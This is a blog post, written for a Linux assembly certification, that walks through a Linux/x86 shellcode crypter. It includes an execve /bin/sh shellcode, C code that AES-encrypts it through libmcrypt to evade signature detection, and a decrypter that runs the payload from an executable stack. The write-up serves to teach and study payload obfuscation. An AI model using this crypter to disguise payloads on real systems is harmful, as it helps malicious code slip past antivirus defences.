Shellcode Crypter – Linux/x86

A “crypter” is quite interesting because of the fact that it scrambles a shellcode so it can evade signature matching using an encryption algorithm. This is why “crypters” are quite advantageous to use in penetration testing engagements but for this article, I’ll show how a basic “crypter” can work.

The first requirement is a shellcode to encrypt. I’ll be using an execve shellcode which executes /bin/sh in this case.

\x31\xc0\x50\x50\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\x64\x24\x0c\x89\xe3\x8d\x4c\x24\x0c\x8b\x54\x24\x10\xb0\x0b\xcd\x80

This shellcode is based from the NASM program:

global _start
global _start
section .text
_start:

xor eax, eax
push eax
push eax
push eax

push “//sh”
push “/bin”

mov dword[esp + 12], esp
mov ebx, esp
lea ecx, [esp + 12]
mov edx, dword[esp + 16]
mov al, 0x0b
int 0x80

The idea of encrypting the shellcode and decrypting it during runtime is similar to how encoders do it. I have written a very basic custom encoder found here. The only difference between these so called “crypters” versus “encoders” is that “crypters” rely on encryption algorithms which are usually symmetric by nature while “encoders” just scramble the code using some basic processes such as transposition or substitution.

Below is an implementation of the crypter using AES through the “mcrypt” library in Linux.

#include <stdio.h>
#include <string.h>
#include <mcrypt.h>
int main()
{

// execve-stack shellcode
char plain_text[] = “\x31\xc0\x50\x50\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\x64\x24\x0c\x89\xe3\x8d\x4c\x24\x0c\x8b\x54\x24\x10\xb0\x0b\xcd\x80”;
char initialization_vector[] = “SLAE1261SLAE1261”;
char password[] = “securitytubetube”;
int password_length = 16;
int p_text_length = strlen(plain_text);

MCRYPT algorithm = mcrypt_module_open(“rijndael-128”, NULL, “cbc”, NULL);
mcrypt_generic_init(algorithm, password, password_length, initialization_vector);
mcrypt_generic(algorithm, plain_text, p_text_length);
mcrypt_generic_deinit(algorithm);
mcrypt_module_close(algorithm);

int i;
printf(“Length: %d\n”, p_text_length);
for (i = 0; i < p_text_length; i++)
{
printf(“\\x%02X”, (unsigned char)plain_text[i]);
}
printf(“\n”);
return 0;

}

To use mcrypt, “libmcrypt-dev” should be installed by doing:

sudo apt-get install libmcrypt-dev

To compile the C program, the command should be:

gcc -o crypter crypter.c -lmcrypt

Once the compilation is successful, running the program should output the encrypted shellcode:

\x55\x5A\x7D\x5E\x60\xAE\xDB\x46\x57\xB6\x14\x24\x61\x5C\x7F\x35\x1D\x29\xBD\xF5\x5E\x52\xB5\xCF\x7D\x34\x60\x8B\x05\x2B\xBC\xFA\x80

Based from the “crypter” program, the password is “securitytubetube” which is 16 bytes in length or 128-bit while the initialization vector is “SLAE1261SLAE1261“. The length of the information is quite important here knowing that we are using AES-128 specifically “rijndael-128”.

For the decryption process, a C program was created:

#include <stdio.h>
#include <string.h>
#include <mcrypt.h>
int main()
{

char cipher_text[] = “\x55\x5A\x7D\x5E\x60\xAE\xDB\x46\x57\xB6\x14\x24\x61\x5C\x7F\x35\x1D\x29\xBD\xF5\x5E\x52\xB5\xCF\x7D\x34\x60\x8B\x05\x2B\xBC\xFA\x80”;
char initialization_vector[] = “SLAE1261SLAE1261”;
char password[] = “securitytubetube”;
int password_length = 16;
int c_text_length = 33;

MCRYPT algorithm = mcrypt_module_open(“rijndael-128”, NULL, “cbc”, NULL);
mcrypt_generic_init(algorithm, password, password_length, initialization_vector);
mdecrypt_generic(algorithm, cipher_text, c_text_length);
mcrypt_generic_deinit(algorithm);
mcrypt_module_close(algorithm);

int (*ret)() = (int(*)())cipher_text;
ret();

}

Notice that the initialization vector and the password is the same from the crypter program. If it wasn’t the same, the decryption process will have problems and the final output shellcode will not work as expected. To compile the decrypt.c source code:

gcc -o decrypt decrypt.c -lmcrypt -fno-stack-protector -z execstack

Running it should execute the execve /bin/sh shellcode:

All code presented can be found in GitHub.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification (Student ID: SLAE-1261)

 

Leave a Reply